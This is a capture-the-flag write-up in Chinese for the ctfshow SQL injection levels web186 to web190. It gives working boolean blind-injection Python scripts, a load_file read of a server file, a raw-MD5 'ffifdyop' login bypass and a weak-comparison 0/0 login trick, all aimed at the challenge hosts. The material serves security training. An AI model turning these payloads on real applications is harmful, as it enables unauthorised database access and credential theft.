1.web186
知识补充(构造数字):
expression | number |
---|---|
false | 0 |
true | 1 |
true+true | 2 |
floor(pi()) | 3 |
ceil(pi()) | 4 |
floor(pi())+true | 5 |
floor(pi())+floor(pi()) | 6 |
floor(pi())+ceil(pi()) | 7 |
ceil(pi())+ceil(pi()) | 8 |
floor(pi())* floor(pi()) | 9 |
floor(pi())* floor(pi())+true | 10 |
新增过滤 \%|\<|\>|\^,采用 regexp 正则表达式的方法来匹配,web185的脚本依然能用
import requests
import string
url="http://9e3d2b9e-cd80-46f6-a96d-fdae265dd694.challenge.ctf.show/select-waf.php"
s=string.digits+string.ascii_lowercase+'-{}'
def convert(strs):
t='concat('
for s in strs:
t+= 'char(true'+'+true'*(ord(s)-1)+'),'
return t[:-1]+")"
flag=''
for i in range(1,45):
print(i)
for j in s:
d = convert(f'^ctfshow{flag+j}')
payload={
'tableName':f' ctfshow_user group by pass having pass regexp({d})'
}
#print(data)
r=requests.post(url,data=payload)
#print(r.text)
if("user_count = 1" in r.text):
flag+=j
print(flag)
if j=='}':
exit(0)
break
2.web187
用户名为admin,密码为ffifdyop
对于$password = md5($_POST['password'],true);
如果可选的binary被设置为true 那么md5摘要将以16字符长度的原始二进制格式返回
那么如果 md5($_POST['password'],true) 的返回值为 'or'1(除0外任意数字开头)xxx SQL语句将被拼接为
$sql="select count(*) from ctfshow_user where username='admin' and password=''or'1xxx'";
md5("ffifdyop",true) => 'or'6É]é!r,ùíb符合万能密码的条件
ctfshow-web9(奇妙的ffifdyop绕过)_ctfshowweb9源代码解析-CSDN博客(这个师傅讲的也很详细)
3.web188
在 SQL 中,数字和字符串的比较是弱类型的,如果在比较操作中涉及到字符串和数字,SQL 会尝试将字符串转换为数字,那么只要字符串不是以数字开头,比较时都会转为数字 0 。
关于密码的比较使用两个等号,也是弱类型比较。因此我们可以用户名和密码都输入 0 ,尝试登录一个用户名和密码都不是数字开头的用户。
登录后拿到flag
4.web189(布尔盲注)
flag在url/api/index.php中
不同用户名密码都是0回显不同如上两图
使用load_file函数读取文件 然后用python进行布尔盲注
from requests import post
from string import digits, ascii_lowercase
url = 'http://ef7805f2-38c3-46e4-a373-5dde5b7170a5.challenge.ctf.show/api/'
payload = "if(load_file('/var/www/html/api/index.php')regexp'{}',0,1)"
flag = 'ctfshow{'
while True:
for c in '-}' + digits + ascii_lowercase:
res = post(url, {'username': payload.format(flag + c), 'password': '0'}).text
if '8bef' in res:
flag += c
print(flag)
if c == '}':
exit()
5.web190(布尔盲注)
username 采用了单引号包裹,password 还是弱类型比较
ctfshow-web入门-sql注入(web186-web190)_ctfshowweb190-CSDN博客
# author:Myon
import requests
import string
url = "http://659e079a-cdd0-47e7-87ac-d6e65aaebcae.challenge.ctf.show/api/index.php"
out = ''
for j in range(1, 50):
print(j)
for k in range(32, 128):
# 猜解数据库名
# data={
# 'username': f"0'||if(ascii(substr(database(),{j},1))={k},1,0)#",
# 'password': '1'
# }
# 猜解表名
# data={
# 'username': f"0'||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1))={k},1,0)#",
# 'password': '1'
# }
# 猜解列名
# data={
# 'username': f"0'||if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{j},1))={k},1,0)#",
# 'password': '1'
# }
# 猜解 flag
data = {
'username': f"0'||if(ascii(substr((select f1ag from ctfshow_fl0g),{j},1))={k},1,0)#",
#这部分是 'username' 的值,它使用了Python的格式化字符串(f-string)。
#格式化字符串允许你在字符串中插入变量或表达式的值。
'password': '1'
}
re = requests.post(url, data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
out += chr(k)
print(out)
break